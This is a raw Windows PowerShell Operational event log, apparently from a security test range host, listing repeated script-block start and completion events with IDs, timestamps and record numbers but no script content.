Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647897
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647916
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647915
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647914
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647913
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647912
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647911
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647910
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647909
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647908
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647907
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647926
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647925
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647924
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647923
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647922
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647921
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647920
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647919
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647918
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647917
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647936
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647935
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647934
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647933
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647932
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647931
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647930
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647929
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647928
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647927
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647946
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647945
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647944
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647943
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647942
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647941
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647940
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647939
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647938
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647937
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647956
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647955
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647954
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647953
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647952
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647951
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647950
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647949
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647948
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647947
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647966
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647965
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647964
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
